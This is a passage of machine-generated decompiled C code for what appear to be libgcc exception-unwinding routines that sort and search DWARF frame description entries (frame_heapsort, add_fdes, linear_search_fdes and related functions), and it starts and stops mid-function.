int32_t v7 = result3; // 0x4553 // branch -> 0x80a78b8 while (true) { int32_t v8 = v5 + 1; // 0x80a78b8 g101 = v8; g1 = v8 > a2; g103 = v8 == a2; int32_t v9; // 0x80a78ca int32_t * v10; // 0x80a78ec_0 int32_t * v11; int32_t v12; int32_t v13; // 0x80a78e2 if (v8 < a2) { int32_t v14 = 4 * v5; // 0x80a78c0 g95 = v14; uint32_t v15 = *v4; // 0x80a78c7 v9 = v15 + v14; g1 = v9 < v15; g103 = v9 == 0; g97 = v9; int32_t v16 = g96; // 0x80a78cf int32_t v17 = *v4; // 0x80a78d0 g96 = v17; int32_t v18 = *(int32_t *)(v14 + 4 + v17); // 0x80a78d3 v6(v3, *(int32_t *)v9, v18, v16, v12); v13 = g95; g1 = false; g103 = v13 == 0; if (v13 <= 0) { int32_t v19 = g101; // 0x80a78e9 int32_t v20 = 4 * v19 + *v4; // 0x80a78e9 v10 = (int32_t *)v20; g102 = v19; g97 = v7; int32_t v21 = *v4; // 0x80a78f4 g96 = v21; g101 = v21 + 4 * v7; g95 = v20; v6(v3, v4[v7], *v10, v20, v12); int32_t result = result2; // 0x80a7916_11 if (g95 < 0) { lab_0xbd4a0e0:; int32_t * v22 = (int32_t *)g101; // 0x80a789f_0 g97 = *v22; g96 = (int32_t)v10; int32_t v23 = *v10; // 0x80a78a4 g95 = v23; *v22 = v23; *(int32_t *)g96 = g97; int32_t v24 = g102; // 0x80a78aa int32_t v25 = 2 * v24 | 1; // 0x80a78aa8 if (v25 < a2) { // 0x80a78b6 g102 = v25; result2 = v25; v5 = v25; v7 = v24; // branch -> 0x80a78b8 continue; } else { result = v25; } } // 0x80a7910 g101 = v2; g102 = v1; return result; } v11 = v4; } else { int32_t v26 = *v4 + 4 * v5; // 0x80a787b v13 = v26; v9 = v26; v11 = v4; // branch -> 0x80a7881 } int32_t * v27 = (int32_t *)v9; // 0x80a78fb_05 g97 = v7; int32_t v28 = *v11; // 0x80a7884 g96 = v28; g101 = v28 + 4 * v7; g95 = v9; int32_t v29 = v11[v7]; // 0x80a7890 v6(v3, v29, *v27, v13, v12); if (g95 <= 0) { v10 = v27; goto lab_0xbd4a0e0; } // 0x80a7910 g101 = v2; g102 = v1; return result2; } } // 0x80a7910 g101 = v2; g102 = v1; return result3; } // Address range: 0x80a7918 - 0x80a799d int32_t frame_heapsort(int32_t a1, int32_t a2, int32_t a3) { int32_t v1 = g102; // 0x80a791b int32_t v2 = g101; // 0x80a791c int32_t v3 = g95; // 0x80a7920 int32_t v4 = g97; // 0x80a7923 int32_t v5 = g96; // 0x80a7926 int32_t v6 = v5 + 8; // 0x80a7926 int32_t * v7 = (int32_t *)v6; // 0x80a7929_0 int32_t v8 = *(int32_t *)(v5 + 4); // 0x80a792c g102 = v8; int32_t v9 = v8 / 2; // 0x80a7931 g95 = v9; int32_t result = v9 - 1; // 0x80a7933 int32_t v10; // 0x80a7989 int32_t result2; // 0x80a7984 int32_t v11; int32_t v12; // 0x80a7954 int32_t v13; // 0x80a795c int32_t v14; // 0x80a79923 int32_t v15; // 0x80a798c if (result < 0) { // 0x80a7954 v12 = v8 - 1; g102 = v12; if (v12 < 1) { // 0x80a7997 g101 = v2; g102 = v1; return result; } // 0x80a7959 v13 = 4 * v12 + v6; g101 = v13; v14 = 0; g96 = v6; *v7 = *(int32_t *)v13; *(int32_t *)g101 = *v7; g97 = v4; g95 = v3; result2 = frame_downheap((int32_t)g2, g102 - v14, v11, 0, v4); v10 = v14 + 1; v15 = g101 - 4; g101 = v15; // branch -> 0x80a7968 while (v10 != g102) { // 0x80a7968 v14 = v10; g96 = v6; *v7 = *(int32_t *)v15; *(int32_t *)g101 = *v7; g97 = v4; g95 = v3; result2 = frame_downheap((int32_t)g2, g102 - v14, v11, 0, v4); v10 = v14 + 1; v15 = g101 - 4; g101 = v15; // continue -> 0x80a7968 } // 0x80a7997 g101 = v2; g102 = v1; return result2; } // 0x80a7936 g101 = result; g96 = v6; g97 = v4; g95 = v3; int32_t result3 = frame_downheap(result, v8, v11, 0, v4); // 0x80a7946 int32_t v16 = g101; // 0x80a794b int32_t v17 = v16 - 1; // 0x80a794b g101 = v17; int32_t v18 = g102; // branch -> 0x80a7938 while (v16 != 0) { // 0x80a7938 g96 = v6; g97 = v4; g95 = v3; result3 = frame_downheap(v17, v18, v11, 0, v4); v16 = g101; v17 = v16 - 1; g101 = v17; v18 = g102; // continue -> 0x80a7938 } // 0x80a7954 v12 = v18 - 1; g102 = v12; if (v12 < 1) { // 0x80a7997 g101 = v2; g102 = v1; return result3; } // 0x80a7959 v13 = 4 * v12 + v6; g101 = v13; v14 = 0; g96 = v6; *v7 = *(int32_t *)v13; *(int32_t *)g101 = *v7; g97 = v4; g95 = v3; result2 = frame_downheap((int32_t)g2, g102 - v14, v11, 0, v4); v10 = v14 + 1; v15 = g101 - 4; g101 = v15; // branch -> 0x80a7968 while (v10 != g102) { // 0x80a7968 v14 = v10; g96 = v6; *v7 = *(int32_t *)v15; *(int32_t *)g101 = *v7; g97 = v4; g95 = v3; result2 = frame_downheap((int32_t)g2, g102 - v14, v11, 0, v4); v10 = v14 + 1; v15 = g101 - 4; g101 = v15; // continue -> 0x80a7968 } // 0x80a7997 g101 = v2; g102 = v1; return result2; } // Address range: 0x80a79a0 - 0x80a7add int32_t classify_object_over_fdes(int32_t a1, int32_t a2) { int32_t v1 = g100; // 0x80a79a0 int32_t v2 = v1; // bp-4 int32_t v3 = g102; // 0x80a79a3 int32_t v4 = g101; // 0x80a79a4 struct struct_116 * v5 = (struct struct_116 *)g95; // bp-52 int32_t v6 = g97; // 0x80a79ab g102 = v6; if (*(int32_t *)v6 == 0) { // 0x80a79b3 g95 = 0; g101 = v4; g102 = v3; g100 = v1; return g96; } // 0x80a79c4 int32_t * v7; uint32_t v8 = (int32_t)v7; // 0x80a7a57 int32_t * v9 = (int32_t *)v3; // bp+019 char v10 = 0; // 0x80a7abd12 int32_t v11 = 0; // 0x80a7a968 int32_t v12 = 0; // 0x80a7ad57 // branch -> 0x80a79e0 int32_t * v13; // bp+018 int32_t v14; // 0x80a7a969 int32_t result; // 0x80a7aa03 while (true) { int32_t v15 = v6 + 4; // 0x80a79e0 int32_t v16 = *(int32_t *)v15; // 0x80a79e0 v13 = v9; char v17 = v10; // 0x80a7abd11 v14 = v11; int32_t v18 = v12; // 0x80a7ad56 int32_t v19; // 0x80a7aa02 result = v19; int32_t v20; // 0x80a7a84 int32_t v21; // 0x80a7a88 if (v16 != 0) { int32_t v22 = v15 - v16; // 0x80a79ee g101 = v22; int32_t v23; // 0x80a7aae int32_t * v24; // bp+017 uint32_t v25; // 0x80a7a67 int32_t v26; // 0x80a7aa0 char v27; // 0x80a7abd10 int32_t v28; // 0x80a7ad55 int32_t v29; // 0x80a7ab416 if (v12 == v22) { // 0x80a7ab4 v24 = v9; v29 = v10; v27 = v10; v28 = v12; // branch -> 0x80a7a47 } else { // 0x80a79f9 g95 = v22; uint32_t v30 = get_cie_encoding((struct struct_45 *)&v2); // 0x80a79fb char v31 = v30; // 0x80a79fb_3 int32_t v32 = v30 % 256; // 0x80a7a031 g97 = (int32_t)v5; g95 = v32; base_from_object((struct struct_45 *)&v2); int32_t v33 = (int32_t)v5 + 16; // 0x80a7a1a int16_t * v34 = (int16_t *)v33; // 0x80a7a1a_0 uint16_t v35 = *v34; // 0x80a7a1a int32_t v36 = v35; // 0x80a7a1a int32_t v37 = v36 | v19 & -0x10000; // 0x80a7a1a g96 = v37; if ((v36 & 2040) == 2040) { // 0x80a7abd *v34 = (int16_t)(8 * (g97 & 0x1fff0000 | v32) | v37 & -2041); v24 = (int32_t *)0x80a7a14; v29 = v32; v27 = v31; v28 = g101; // branch -> 0x80a7a47 } else { // 0x80a7a2f if (0x1000000 * v30 / 0x1000000 != (int32_t)(v35 / 8 % 256)) { char * v38 = (char *)v33; // 0x80a7a40_0 *v38 = *v38 | 4; // branch -> 0x80a7a44 } // 0x80a7a44 v24 = (int32_t *)0x80a7a14; v29 = v32; v27 = v31; v28 = g101; // branch -> 0x80a7a47 } // 0x80a7a47 g95 = v29; read_encoded_value_with_base_723(v8, v8, v4); g95 = v29; size_of_encoded_value(v7); v25 = g95; v26 = g102 + 8; v23 = -1; if (v25 < 4) { lab_0x6bfee40: // 0x80a7aa0 v26 = 8 * v25; uint32_t v39 = v26 & 24; // 0x80a7aac v23 = 0; if (v39 != 0) { // if_80a7aac_0_true v23 = (1 << v39) - 1; // branch -> after_if_80a7aac_0 } // branch -> 0x80a7a71 } lab_0x6c00be0: // 0x80a7a71 v13 = v24; v14 = v11; result = v26; if (v23 != v8) { int32_t v40 = v11 + 1; // 0x80a7a78 if (v8 < *(int32_t *)v5) { // 0x80a7a82 v5->e0 = v7; v13 = v24; v14 = v40; result = v26; // branch -> 0x80a7a84 } else { v13 = v24; v14 = v40; result = v26; } } // 0x80a7a84 v20 = g102; v21 = *(int32_t *)v20 + v20 + 4; g102 = v21; if (*(int32_t *)v21 == 0) { // break -> 0x80a7a96 break; } v6 = v21; v9 = v13; v10 = v27; v11 = v14; v12 = v28; v19 = result; // continue -> 0x80a79e0 continue; } int32_t v41 = g102 + 8; // 0x80a7a4a g95 = v29; read_encoded_value_with_base_723(v8, v8, v4); g95 = v29; size_of_encoded_value(v7); v25 = g95; if (v25 < 4) { goto lab_0x6bfee40; } v26 = v41; v23 = -1; goto lab_0x6c00be0; } // 0x80a7a84 v20 = g102; v21 = *(int32_t *)v20 + v20 + 4; g102 = v21; if (*(int32_t *)v21 == 0) { // break -> 0x80a7a96 break; } v6 = v21; v9 = v13; v10 = v17; v11 = v14; v12 = v18; v19 = result; // continue -> 0x80a79e0 } // 0x80a7a96 g95 = v14; g101 = v4; g102 = (int32_t)v13; g100 = v2; return result; } // Address range: 0x80a7b38 - 0x80a7c5d int32_t linear_search_fdes(int32_t a1, int32_t a2, int32_t a3) { int32_t v1 = g102; // 0x80a7b3b int32_t v2 = g101; // 0x80a7b3c int32_t v3 = g95; // 0x80a7b40 g102 = g97; int32_t v4 = g96; // 0x80a7b45 g97 = v3; int32_t v5 = v3 + 16; // 0x80a7b4a uint16_t v6 = *(int16_t *)v5 / 8; g95 = v6 % 256; int32_t v7; base_from_object((struct struct_45 *)&v7); int32_t v8 = g102; // 0x80a7b60 int32_t v9 = *(int32_t *)v8; // 0x80a7b60 g95 = v9; if (v9 != 0) { char v10 = v6; int32_t v11 = 0; // branch -> 0x80a7ba4 lab_0x6c2cdc0: while (true) { // 0x80a7ba4 int32_t * v12; int32_t v13 = (int32_t)v12; // 0x80a7c0a int32_t v14 = v8; // 0x80a7bb4 char v15 = v10; // 0x80a7be35 int32_t v16 = v11; // 0x80a7bd74 // branch -> 0x80a7ba4 while (true) { int32_t v17 = v14 + 4; // 0x80a7ba4 int32_t v18 = *(int32_t *)v17; // 0x80a7ba4 int32_t v19 = v14; // 0x80a7b92 int32_t v20; int32_t v21 = v20; // 0x80a7c2316 int32_t * v22 = v12; // 0x80a7c1113 char v23 = v15; // 0x80a7be36 int32_t v24 = v16; // 0x80a7bd73 int32_t v25; // 0x80a7b94 int32_t v26; // 0x80a7b96 if (v18 != 0) { char v27 = v15; // 0x80a7be37 int32_t v28 = v16; // 0x80a7bd72 if (*(char *)v5 != 4) { int32_t v29 = v17 - v18; // 0x80a7bb7 g101 = v29; if (v16 != v29) { // 0x80a7bbe g95 = v29; uint32_t v30 = get_cie_encoding((struct struct_45 *)&v7); // 0x80a7bc0 g95 = v30 % 256; g97 = v3; base_from_object((struct struct_45 *)&v7); v27 = v30; v28 = g101; // branch -> 0x80a7bdc } else { v27 = v15; v28 = v16; } } // 0x80a7bdc int32_t * v31; // 0x80a7b7d_0 int32_t result; // 0x80a7b74 int32_t v32; // 0x80a7b74 char v33; // 0x80a7be3750 if (v27 == 0) { // 0x80a7b74 result = g102; v32 = *(int32_t *)(result + 8); g97 = v32; v31 = (int32_t *)*(int32_t *)(result + 12); if (v32 == 0) { v19 = result; v21 = 0; v23 = 0; lab_0x6c1d7b0: // 0x80a7b92 v25 = *(int32_t *)v19 + v19; g95 = v25; v26 = v25 + 4; g102 = v26; if (*(int32_t *)v26 == 0) { // break (via goto) -> 0x80a7c40 goto lab_0x9cf06d0; } v8 = v26; v20 = v21; v12 = v31; v10 = v23; v11 = v28; // continue (via goto) -> 0x80a7ba4 goto lab_0x6c2cdc0; } else { v33 = 0; } } else { // 0x80a7be3 g96 = g102 + 8; g95 = v27; int32_t v34; int32_t v35; g96 = read_encoded_value_with_base_723(v20, v35, v34); g95 = g101 % 16; read_encoded_value_with_base_723(v13, v35, v34); g95 = g101; size_of_encoded_value(v12); uint32_t v36 = g95; // 0x80a7c19 int32_t v37 = -1; if (v36 < 4) { int32_t v38 = 8 * v36; // 0x80a7c4c g96 = v38; uint32_t v39 = v38 & 24; // 0x80a7c58 int32_t v40 = 0; // 0x80a7c5a if (v39 != 0) { // if_80a7c58_0_true v40 = (1 << v39) - 1; // branch -> after_if_80a7c58_0 } // after_if_80a7c58_0 v37 = v40; // branch -> 0x80a7c23 } // 0x80a7c23 g97 = v20; int32_t v41 = g102; // 0x80a7c2e if (v37 == v20) { int32_t v42 = *(int32_t *)v41 + v41; // 0x80a7c30 g95 = v42; int32_t v43 = v42 + 4; // 0x80a7c32 g102 = v43; if (*(int32_t *)v43 == 0) { // break -> 0x80a7c40 break; } v14 = v43; v15 = v27; v16 = v28; // continue -> 0x80a7ba4 continue; } else { result = v41; v33 = v27; v32 = v20; v31 = v12; } } int32_t v44 = v4 - v32; // 0x80a7b87 g95 = v44; if (v44 >= (int32_t)v31) { v19 = result; v21 = v32; v23 = v33; goto lab_0x6c1d7b0; } // 0x80a7c42 g101 = v2; g102 = v1; return result; } // 0x80a7b92 v25 = *(int32_t *)v19 + v19; g95 = v25; v26 = v25 + 4; g102 = v26; if (*(int32_t *)v26 == 0) { // break (via goto) -> 0x80a7c40 goto lab_0x9cf06d0; } v8 = v26; v20 = v21; v12 = v22; v10 = v23; v11 = v24; // continue (via goto) -> 0x80a7ba4 goto lab_0x6c2cdc0; } // 0x80a7c40 // branch -> 0x80a7c42 // 0x80a7c42 g101 = v2; g102 = v1; return 0; } } lab_0x9cf06d0: // 0x80a7c40 // branch -> 0x80a7c42 // 0x80a7c42 g101 = v2; g102 = v1; return 0; } // Address range: 0x80a7c60 - 0x80a7d62 int32_t add_fdes(int32_t a1, int32_t a2, int32_t a3) { int32_t v1 = g102; // 0x80a7c63 int32_t v2 = g101; // 0x80a7c64 int32_t v3 = g95; // 0x80a7c68 struct struct_117 * v4 = (struct struct_117 *)g97; // bp-48 g102 = g96; g97 = v3; int32_t v5 = v3 + 16; // 0x80a7c72 uint16_t v6 = *(int16_t *)v5 / 8; g95 = v6 % 256; int32_t v7; base_from_object((struct struct_45 *)&v7); int32_t v8 = g102; // 0x80a7c88 if (*(int32_t *)v8 == 0) { // 0x80a7d4c g101 = v2; g102 = v1; return 0; } // 0x80a7c92 int32_t * v9; int32_t v10 = (int32_t)v9; // 0x80a7d1a char v11 = g95; // 0x80a7d15_09 char v12 = v6; // 0x80a7d076 int32_t v13 = 0; // 0x80a7cfd5 // branch -> 0x80a7cca while (true) { int32_t v14 = v8 + 4; // 0x80a7cca int32_t v15 = *(int32_t *)v14; // 0x80a7cca char v16 = v11; // bp+010 char v17 = v12; // 0x80a7d077 int32_t v18 = v13; // 0x80a7cfd4 int32_t v19; // 0x80a7cba int32_t v20; // 0x80a7cb8 int32_t v21; // 0x80a7cbc if (v15 != 0) { // 0x80a7cd1 g97 = v3; char v22 = v11; // bp+011 char v23 = v12; // 0x80a7d078 int32_t v24 = v13; // 0x80a7cfd3 if (*(char *)v5 != 4) { int32_t v25 = v14 - v15; // 0x80a7cdd g101 = v25; if (v13 != v25) { // 0x80a7ce4 g95 = v25; uint32_t v26 = get_cie_encoding((struct struct_45 *)&v7); // 0x80a7ce6 g95 = v26 % 256; g97 = v3; base_from_object((struct struct_45 *)&v7); v22 = g95; v23 = v26; v24 = g101; // branch -> 0x80a7d00 } else { v22 = v11; v23 = v12; v24 = v13; } } // 0x80a7d00 if (v23 == 0) { // 0x80a7c9c if (*(int32_t *)(g102 + 8) == 0) { v17 = 0; lab_0x6c41490: // 0x80a7cb8 v20 = g102; v19 = *(int32_t *)v20 + v20; g95 = v19; v21 = v19 + 4; g102 = v21; if (*(int32_t *)v21 == 0) { // break -> 0x80a7d4c break; } v8 = v21; v11 = v22; v12 = v17; v13 = v24; // continue -> 0x80a7cca continue; } } else { // 0x80a7d07 g96 = g102 + 8; g97 = v22; g95 = v23; int32_t v27; int32_t v28; read_encoded_value_with_base_723(v10, v28, v27); g95 = g101; size_of_encoded_value(v9); uint32_t v29 = g95; // 0x80a7d29 int32_t v30 = -1; if (v29 < 4) { int32_t v31 = 8 * v29; // 0x80a7d53 g96 = v31; uint32_t v32 = v31 & 24; // 0x80a7d5f int32_t v33 = 0; // 0x80a7d61 if (v32 != 0) { // if_80a7d5f_0_true v33 = (1 << v32) - 1; // branch -> after_if_80a7d5f_0 } // after_if_80a7d5f_0 v30 = v33; // branch -> 0x80a7d33 } // 0x80a7d33 if (v30 == v10) { int32_t v34 = g102; // 0x80a7d3c int32_t v35 = *(int32_t *)v34 + v34; // 0x80a7d3e g95 = v35; int32_t v36 = v35 + 4; // 0x80a7d40 g102 = v36; if (*(int32_t *)v36 == 0) { // break -> 0x80a7d4c break; } v8 = v36; v11 = v22; v12 = v23; v13 = v24; // continue -> 0x80a7cca continue; } } int32_t v37 = v4->e0; // 0x80a7ca6 g97 = v37; if (v37 == 0) { v17 = v23; goto lab_0x6c41490; } int32_t v38 = v4->e1; // 0x80a7cac *(int32_t *)(v37 + 8 + 4 * v38) = g102; v4->e1 = v38 + 1; v17 = v23; // branch -> 0x80a7cb8 goto lab_0x6c41490; } // 0x80a7cb8 v20 = g102; v19 = *(int32_t *)v20 + v20; g95 = v19; v21 = v19 + 4; g102 = v21; if (*(int32_t *)v21 == 0) { // break -> 0x80a7d4c break; } v8 = v21; v11 = v16; v12 = v17; v13 = v18; // continue -> 0x80a7cca } // 0x80a7d4c g101 = v2; g102 = v1; return 0; } // Address range: 0x80a8614 - 0x80a8620 void search_object(struct struct_45 * a1, int32_t a2, int32_t * a3) { // 0x80a8614 int32_t v1; function_80a8625(v1); } // Address range: 0x80a8625 - 0x80a8d66 int32_t function_80a8625(int32_t a1) { struct struct_118 * v1 = NULL; // bp-4 int32_t * v2; g98 = (int32_t)v2 + 0x890d3; int32_t v3 = g95; // 0x80a862c struct struct_118 * v4 = (struct struct_118 *)v3; // 0x80a862c_0 uint32_t v5 = g97; // 0x80a8632 int32_t * v6 = (int32_t *)v5; // 0x80a8632_0 int32_t v7 = v3 + 16; // 0x80a863a int32_t v8 = (int32_t)*(char *)v7 | v3 & -256; // 0x80a863a g95 = v8; if (v8 == 1) { int32_t v9 = *(int32_t *)v7; // 0x80a8645 g96 = v9; int32_t * v10 = (int32_t *)(v9 / 2048); // 0x80a864d_0 int32_t v11; // 0x80a8b36163 int32_t v12; // 0x80a8b1b int32_t v13; // 0x80a8c61 int32_t v14; // 0x80a8b34159 int32_t v15; // 0x80a8b34162 int32_t v16; // 0x80a8764 int32_t * v17; // 0x80a8693_0 int32_t * v18; // 0x80a8727_0 int32_t * v19; // 0x80a8758_0 int32_t * v20; // 0x80a87da_0 struct struct_118 * v21; // 0x80a87dd_0 int32_t * v22; // bp+336 int32_t * v23; // 0x80a8881_0 char * v24; // 0x80a8889_0 int32_t * v25; // 0x80a8903_1 int32_t * v26; // 0x80a8a53_5 int32_t * v27; // bp+021 int32_t * v28; // bp+413 int32_t * v29; int32_t * v30; // 0x80a8c26_1 int32_t * v31; // bp+030 int32_t v32; int32_t v33; int32_t v34; // 0x80a8c94 int32_t v35; // 0x80a89ea struct struct_118 * v36; // bp-156 int32_t * v37; struct struct_6 * v38; // bp-28 int32_t v39; struct struct_118 * v40; // bp-92 struct struct_118 * v41; // bp-96 int32_t v42; // 0x80a86b7 int32_t v43; // 0x80a870a int32_t v44; // 0x80a8903 int32_t v45; // 0x80a8af2 int32_t v46; // 0x80a8b00 int32_t v47; // 0x80a8c53 int32_t * v48; // bp+045 int32_t * v49; // bp+046 int32_t * v50; // bp+047 int32_t * v51; // bp+048 int32_t * v52; // bp+050 int32_t * v53; // bp+051 int32_t v54; // 0x80a8d09 int32_t v55; // 0x80a8900 int32_t v56; // 0x80a865f int32_t v57; // 0x80a875b int32_t v58; // 0x80a8881 int32_t v59; // 0x80a8a1c int32_t v60; // 0x80a8a25 int32_t v61; // 0x80a8b00 int32_t v62; // 0x80a8c3b int32_t v63; // 0x80a8c44 int32_t v64; // 0x80a8c6e int32_t v65; // 0x80a8ce4 int32_t v66; // 0x80a866f int32_t v67; // 0x80a86a4 int32_t v68; // 0x80a86bf int32_t v69; // 0x80a86d1 int32_t v70; // 0x80a86d1168 int32_t v71; // 0x80a86fa int32_t v72; // 0x80a8700 int32_t v73; // 0x80a875e int32_t v74; // 0x80a8893 struct struct_118 * v75; // 0x80a8893_0 int32_t v76; // 0x80a88dc int32_t v77; // 0x80a8900 uint32_t v78; // 0x80a89e6 int32_t v79; // 0x80a8a0f int32_t v80; // 0x80a8bc114 int32_t v81; int32_t v82; int32_t v83; // 0x80a8c3b int32_t v84; // 0x80a8d31 int32_t v85; // 0x80a8900 int32_t v86; // 0x80a8bd5 int32_t v87; // 0x80a8bd5108 int32_t v88; // 0x80a8693 int32_t v89; // 0x80a86b4 int32_t v90; // 0x80a86d1 int32_t v91; // 0x80a86d1170 int32_t v92; // 0x80a86db struct struct_6 * v93; // 0x80a86db_0 int32_t v94; // 0x80a8727 int32_t v95; // 0x80a8789 struct struct_6 * v96; // 0x80a8789_0 int32_t v97; // 0x80a878f int32_t v98; // 0x80a87e0 int32_t v99; // 0x80a885627 struct struct_6 * v100; // 0x80a8878_0 int32_t v101; // 0x80a88f1 int32_t v102; // 0x80a88f7 uint32_t v103; // 0x80a890f int32_t v104; // 0x80a89e0 int32_t v105; // 0x80a8a01 uint32_t v106; // 0x80a8a6b int32_t v107; // 0x80a8a9032 uint32_t v108; // 0x80a8b4474 int32_t * v109; // bp+024 int32_t * v110; // bp+025 int32_t v111; // 0x80a8c20 int32_t v112; // 0x80a8c26 uint32_t v113; // 0x80a8cae int32_t * v114; // bp+028 int32_t v115; // 0x80a8d06 int32_t v116; // 0x80a8d31 int32_t v117; // 0x80a8d4622 int32_t * v118; // bp+042 int32_t * v119; // bp+043 int32_t * v120; // bp+044 int32_t v121; // 0x80a88e2 int32_t v122; // 0x80a8908 int32_t v123; // 0x80a8a3a int32_t v124; // 0x80a8c58 int32_t v125; // 0x80a87bc int32_t v126; // 0x80a8908 int32_t v127; // 0x80a8a3a int32_t v128; // 0x80a87cf int32_t v129; // 0x80a88a1 uint32_t v130; // 0x80a88e2 if ((v9 & 1024) == 0) { int32_t v131 = *(int32_t *)(v3 + 12); // 0x80a8956 int32_t v132 = *(int32_t *)v131; // 0x80a8959 g97 = v132; int32_t * v133; // bp+019 int32_t * v134; uint32_t v135; // 0x80a89ab int32_t v136; // 0x80a8997 int32_t v137; // 0x80a89a0 int32_t v138; // 0x80a89b8 int32_t v139; // 0x80a89ad if (v132 == 0) { v136 = 0; v133 = v10; // branch -> 0x80a8997 } else { // 0x80a8963 g101 = v131; int32_t * v140 = v10; // bp+020 // branch -> 0x80a8968 while (true) { // 0x80a8968 g95 = (int32_t)v4; v1 = (struct struct_118 *)0x80a8973; g99 -= 4; classify_object_over_fdes(a1, 0); int32_t v141 = g95 + (int32_t)v140; // 0x80a8973 int32_t * v142 = (int32_t *)v141; // 0x80a8973_4 int32_t v143 = g101 + 4; // 0x80a8979 int32_t v144 = *(int32_t *)v143; // 0x80a8979 g97 = v144; g101 = v143; if (v144 == 0) { // 0x80a8983 v9 = *(int32_t *)((int32_t)v4 + 16); v136 = 2048 * v141; v133 = v142; // branch -> 0x80a8997 // 0x80a8997 v137 = v9 % 2048 | v136; g96 = v137; *(int32_t *)((int32_t)v4 + 16) = v137; v135 = g96; v139 = v135 / 2048; g95 = v139; if ((int32_t)v133 != v139) { // 0x80a89b8 v138 = v135 % 2048; g96 = v138; *(int32_t *)((int32_t)v4 + 16) = v138; // branch -> 0x80a89c7 } // 0x80a89c7 v51 = v2; v119 = v134; if (v133 != NULL) { v27 = v133; // 0x80a8659 v56 = (int32_t)v27; __libc_malloc((int32_t *)(4 * v56 + 8), v39, (int32_t)v1); v66 = g95; v38 = (struct struct_6 *)v66; if (v66 != 0) { // 0x80a8683 *(int32_t *)(v66 + 4) = 0; __libc_malloc((int32_t *)g101, v39, (int32_t)v1); v88 = g95; v17 = (int32_t *)v88; if (v88 != 0) { // 0x80a869d *(int32_t *)(v88 + 4) = 0; // branch -> 0x80a86a4 } // 0x80a86a4 v67 = (int32_t)v4; g101 = v67; if (*(char *)(v67 + 16) == 2) { // 0x80a8a9a g95 = v67; g96 = *(int32_t *)(v67 + 12); g97 = g100 - 28; v1 = (struct struct_118 *)0x80a8aab; g99 -= 4; add_fdes(a1, 0, 0); v50 = v2; // branch -> 0x80a86db } else { // 0x80a86b4 v89 = *(int32_t *)(v67 + 12); g95 = v89; v42 = *(int32_t *)v89; g96 = v42; if (v42 != 0) { // 0x80a86bd v68 = g100 - 28; g102 = v68; g101 = v89; g97 = v68; g95 = v67; add_fdes(a1, 0, 0); v70 = g101 + 4; v91 = *(int32_t *)v70; g96 = v91; g101 = v70; if (v91 != 0) { while (true) { // 0x80a86c4 g97 = g102; g95 = (int32_t)v4; add_fdes(a1, 0, 0); v69 = g101 + 4; v90 = *(int32_t *)v69; g96 = v90; g101 = v69; if (v90 == 0) { v50 = (int32_t *)0x80a86d1; // break -> 0x80a86db break; } // continue -> 0x80a86c4 } // 0x80a86db v93 = v38; v92 = (int32_t)v93; if (v93 != NULL) { // 0x80a86eb g96 = v56; if (v93->e1 != v27) { // 0x80a8d61 g99 -= 4; abort(); // UNREACHABLE } } // 0x80a86fa v71 = (int32_t)v4; g101 = v71; v72 = v71 + 16; if (*(char *)v72 == 4) { // 0x80a8ae0 v45 = g98; if (*(int16_t *)v72 == 2040) { // 0x80a8af2 v46 = v45; v117 = v45 - 0x89f44; // branch -> 0x80a8713 } else { // 0x80a8ce4 v65 = v45 - 0x89f24; g101 = v65; v46 = v45; v117 = v65; // branch -> 0x80a8713 } // 0x80a8713 g102 = v88; int32_t v145; // 0x80a8949 int32_t v146; // 0x80a8946 struct struct_118 * v147; // 0x80a887b_0 int32_t * v148; // bp+012 int32_t * v149; // 0x80a8d15_09 if (v88 != 0) { // 0x80a8721 v18 = (int32_t *)(v92 + 4); v94 = *v18; int32_t v150; // 0x80a8d21 int32_t v151; // 0x80a8d21142 if (v94 != 0) { // 0x80a8b00 v61 = v46 + 0x7888; v36 = (struct struct_118 *)v61; v12 = v92 + 8; *(int32_t *)(v88 + 8) = v61; v14 = v12; g101 = v14; g96 = 1; if (v94 != 1) { v11 = 1; v15 = v14; while (true) { // 0x80a8b44 v108 = (int32_t)v36; g1 = v15 < v108; g103 = v15 == v108; int32_t v152; // 0x80a8b36 int32_t v153; // 0x80a8b34 int32_t v154; // 0x80a8b27 if (v15 != v108) { lab_0xafb6150:; int32_t v155; // 0x80a8b44 while (true) { // 0x80a8b4c g95 = v11; g97 = v92; g99 -= 20; ((int32_t (*)(int32_t, int32_t, int32_t, int32_t))v117)(a1, 0, 0, 0); g99 += 16; int32_t v156 = g101; if (g95 <= 0) { int32_t * v157 = (int32_t *)(g102 + 8 + 4 * (v156 - v12) / 4); // 0x80a8b77_0 g101 = *v157; *v157 = 0; v155 = g101; uint32_t v158 = (int32_t)v36; // 0x80a8b44 g1 = v155 < v158; g103 = v155 == v158; if (v155 == v158) { // break -> 0x80a8b24 break; } // continue -> 0x80a8b4c continue; } else { v155 = v156; } } // 0x80a8b24 v154 = 4 * v11; *(int32_t *)(g102 + 8 + v154) = v155; v153 = v154 + v12; g101 = v153; v152 = v11 + 1; g96 = v152; if (v94 == v152) { // break -> 0x80a8b85 break; } v11 = v152; v15 = v153; // continue -> 0x80a8b44 continue; } lab_0x6c94920: // 0x80a8b24 v154 = 4 * v11; *(int32_t *)(g102 + 8 + v154) = v15; v153 = v154 + v12; g101 = v153; v152 = v11 + 1; g96 = v152; if (v94 == v152) { // break -> 0x80a8b85 break; } v11 = v152; v15 = v153; // continue -> 0x80a8b44 } // 0x80a8b85 v32 = 0; v87 = 0; v82 = 0; v81 = 0; v29 = (int32_t *)v93; // branch -> 0x80a8bd5 while (true) { // 0x80a8bd5 v86 = v87; v80 = v81; v28 = v29; // branch -> 0x80a8bd5 lab_0x6d0fe20: while (true) { int32_t v159 = g102; // 0x80a8bd5 int32_t v160 = (int32_t)v28; // 0x80a8bdd int32_t v161 = *(int32_t *)(v160 + 8); // 0x80a8be3 int32_t v162; // 0x80a8bed if (*(int32_t *)(4 * v86 + 8 + v159) == 0) { // 0x80a8bdd *(int32_t *)(4 * v82 + 8 + v159) = v161; v162 = v82 + 1; int32_t v163 = v32 + 1; // 0x80a8bf1 v32 = v163; if (v94 == v163) { // break (via goto) -> 0x80a8bfe goto lab_0x6c9e670; } v87 = v163; v82 = v162; v81 = v80; v29 = (int32_t *)(v160 + 4); // continue (via goto) -> 0x80a8bd5 goto lab_0x7032100; } else { // 0x80a8ba8 *(int32_t *)(4 * v80 + v12) = v161; int32_t v164 = v80 + 1; // 0x80a8bc1 int32_t v165 = v32 + 1; // 0x80a8bc8 v32 = v165; int32_t * v166 = (int32_t *)(v160 + 4); // 0x80a8bc9_4 if (v94 == v165) { // break -> 0x80a8bfe break; } v86 = v165; v80 = 